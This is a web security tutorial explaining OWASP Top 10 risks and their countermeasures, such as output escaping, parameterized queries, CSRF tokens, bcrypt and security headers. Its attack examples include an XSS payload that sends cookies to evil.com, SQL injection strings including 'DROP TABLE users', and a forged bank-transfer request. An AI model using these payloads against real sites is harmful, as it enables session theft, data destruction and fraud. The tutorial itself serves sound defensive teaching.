Web Security Fundamentals - OWASP Top 10 Countermeasures

18 min read | 2025.12.03

What is OWASP Top 10

OWASP (Open Web Application Security Project) publishes a ranking of the most critical security risks for web applications.

Top 10 (2021):

  1. Broken Access Control
  2. Cryptographic Failures
  3. Injection
  4. Insecure Design
  5. Security Misconfiguration
  6. Vulnerable and Outdated Components
  7. Identification and Authentication Failures
  8. Software and Data Integrity Failures
  9. Security Logging and Monitoring Failures
  10. Server-Side Request Forgery (SSRF)

XSS (Cross-Site Scripting)

An attack that injects malicious scripts into web pages.

Attack Example

<!-- Vulnerable code -->
<p>Search results: <?php echo $_GET['query']; ?></p>

<!-- Attack -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Countermeasures

// 1. Escape on output
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// 2. Use template engine's auto-escaping
// React: Escapes by default
<p>Search results: {userInput}</p>

// 3. Content Security Policy
// HTTP header
Content-Security-Policy: default-src 'self'; script-src 'self'

Types of XSS

TypeDescription
ReflectedImmediately reflects URL parameters, etc.
StoredSaved to DB, executed on display
DOM-basedOccurs in client-side JS

SQL Injection

An attack that injects malicious SQL into queries.

Attack Example

-- Vulnerable code
SELECT * FROM users WHERE id = '$userId'

-- Attack: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → All users are retrieved

-- More dangerous attack: userId = "1'; DROP TABLE users; --"

Countermeasures

// 1. Prepared statements (parameterized queries)
// Bad example
const query = `SELECT * FROM users WHERE id = '${userId}'`;

// Good example
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);

// 2. Use an ORM
// Prisma
const user = await prisma.user.findUnique({
  where: { id: userId }
});

// 3. Input validation
if (!Number.isInteger(parseInt(userId))) {
  throw new Error('Invalid user ID');
}

CSRF (Cross-Site Request Forgery)

An attack that sends requests without the user’s intent.

Attack Example

<!-- Attacker's site -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- If user is logged into bank.com, cookies are sent and transfer is executed -->

Countermeasures

// 1. CSRF token
// Server: Generate token and save to session
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// Embed token in form
<input type="hidden" name="_csrf" value="{{csrfToken}}" />

// Validation
if (req.body._csrf !== req.session.csrfToken) {
  throw new Error('CSRF token mismatch');
}

// 2. SameSite Cookie
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure

// 3. Custom header verification (AJAX)
// Cross-origin requests cannot send custom headers
X-Requested-With: XMLHttpRequest

Authentication Failures

Vulnerable Password Management

// Bad example
const hash = md5(password);  // MD5 is weak

// Good example
const hash = await bcrypt.hash(password, 12);

Session Management

// Regenerate session ID after login
req.session.regenerate((err) => {
  req.session.userId = user.id;
});

// Prevents session fixation attacks

Multi-Factor Authentication (MFA)

FactorTypeExample
Factor 1KnowledgePassword
Factor 2PossessionOne-time password
Factor 3InherenceBiometric authentication

Broken Access Control

IDOR (Insecure Direct Object Reference)

// Vulnerable code
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user);  // Anyone can access
});

// Countermeasure: Authorization check
app.get('/api/users/:id/profile', async (req, res) => {
  if (req.user.id !== req.params.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await db.users.findById(req.params.id);
  res.json(user);
});

Horizontal and Vertical Privilege Escalation

TypeDescription
Horizontal privilege escalationAccess to other users’ data (User A → User B’s data)
Vertical privilege escalationAccess to higher privilege functions (Regular user → Admin functions)

Security Headers

# Nginx configuration example
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
HeaderPurpose
Content-Security-PolicyXSS prevention, resource restrictions
X-Frame-OptionsClickjacking prevention
X-Content-Type-OptionsMIME sniffing prevention
Strict-Transport-SecurityForce HTTPS
Referrer-PolicyControl referrer information

Input Validation

// Server-side validation (required)
const schema = z.object({
  email: z.string().email(),
  age: z.number().min(0).max(150),
  username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});

const result = schema.safeParse(req.body);
if (!result.success) {
  return res.status(400).json({ errors: result.error.issues });
}

Security Checklist

CheckStatus
Validate all input on server side
Escape on output
Use parameterized queries
Implement CSRF tokens
Properly hash passwords
Force HTTPS
Set security headers
Implement authorization checks
Don’t leak sensitive information in error messages
Check dependencies for vulnerabilities
Record security logs

Summary

Web security is an important element that should be considered from the early stages of development. Use OWASP Top 10 as a reference to understand major vulnerabilities and countermeasures, and build secure applications. Security is not a one-time setup; it requires continuous monitoring and updates.

← Back to list